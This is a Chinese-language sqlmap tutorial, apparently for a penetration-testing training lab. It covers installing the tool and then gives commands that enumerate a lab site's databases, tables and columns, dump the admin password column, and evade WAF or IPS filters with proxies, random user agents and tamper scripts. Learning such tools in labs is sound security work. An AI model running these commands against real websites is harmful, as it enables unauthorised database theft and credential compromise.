目录
sqlmap工具
相关环境及工具
安装:
1.python环境。(√)
2.sqlmap工具的安装包
基础命令
进阶命令
sqlmap工具
sqlmap工具:专门用于 sql注入漏洞的。
sql注入漏洞:和数据库相关。
相关环境及工具
python官网:
Welcome to Python.org
sqlmap官网:
sqlmap: automatic SQL injection and database takeover tool
打包版:
链接:https://pan.baidu.com/s/1ASaWlvG9-s94MLa5p-nLng
提取码:cnbm
安装:
1.python环境。(√)
首先双击python安装包,打开后点击Next(下一步)。
点击Next(下一步)。
拉到最下面。
发现有一行为“叉”。
选择第一个选项,点击Next(下一步)。
等待安装。
安装完成,点击Finsh。
2.sqlmap工具的安装包
我们先打开新生成的python27文件夹,把解压出的sqimap拖进去。
打开sqlmap文件夹。
在顶部索引栏执行"cmd"命令(意在用命令行格式启动sqlmap)。
在命令行界面执行“python sqlmap.py -h"命令(列出帮助命令)。
出现以下界面说明启动成功。
基础命令
命令:-h,作用:查看帮助。使用方法:python sqlmap.py -h
命令:-u,作用:确定目标网站。使用方法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1"
以此靶场为例。
输入网址执行命令。
可以看到已经在扫描。
命令:-r ,作用:确定目标网站。使用方法:python sqlmap.py -r 1.txt ***
首先抓个有关网站的包。
保存到新建在sqlmap的记事本中,然后执行命令即可。
命令:--data,作用:确定参数。python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1&pid=2&ssid=3" --data="pid=2&ssid=3"
ps:当你手动测试网站的时候,确定某个参数存在漏洞。提高渗透的效率。
ps:逐参删除法。参数挨个删除,找到能够【影响】网站的参数。那么这个参数,就很有可能是要测试的参数。
命令:--dbs ,作用:查询库名相关的数据。使用方法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --dbs
[*] information_schema
[*] maoshe
[*] test
命令:-D,作用:指定数据库。↓↓↓↓联合使用↓↓↓↓
命令:--tables,作用:查询所有表名。使用方法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe --tables
|admin |
| dirs |
| news |
| xss |
ps:数据库的结构:库、表、列、数据
命令:-T,作用:指定表名。
命令:--columns,查看所有的列名。使用方法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe -T admin --columns
| Id | int(11) |
| password | varchar(11) |
| username | varchar(11)
命令:-C ,总用:指定列名。↓↓↓↓联合使用↓↓↓↓
命令:--dump,作用:查数据。使用方法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe -T admin -C password --dump
ps:牢饭命令
password |
| hellohack |
| zkaqbanban |
使用方法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --dump
进阶命令
命令:--proxy,作用:使用代理。使用语法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --proxy="http://127.0.0.1:8080/"
命令:--random-agent ,作用:改变UA。使用语法:python sqlmap.py -u
"http://rhiq8003.ia.aqlab.cn/?id=1" --proxy="http://127.0.0.1:8080/" --random-agent
命令:--cookie,作用:使用网站身份去扫描网站。使用语法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --cookie="A=14; jwt_id=10225;"
使用-r,就可以不用--cookie
命令:--level ,作用:提高扫描强度。默认1
命令:--risk ,作用:提高风险等级。 默认1
使用语法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --level 3 --risk 2
命令:--batch ,作用:默认选择,自动判断。。python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --batch
Y/N
命令:--tamper,作用:使用脚本,绕过IPS、WAF等。使用方法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --tamper="tamper/between.py,tamper/randomcase.py"
ps:大多数情况没啥用。
个人要求:
1.掌握绕WAF的方法。---> https://bbs.zkaq.cn/t/6205.html
2.掌握写python脚本。 --> 自学



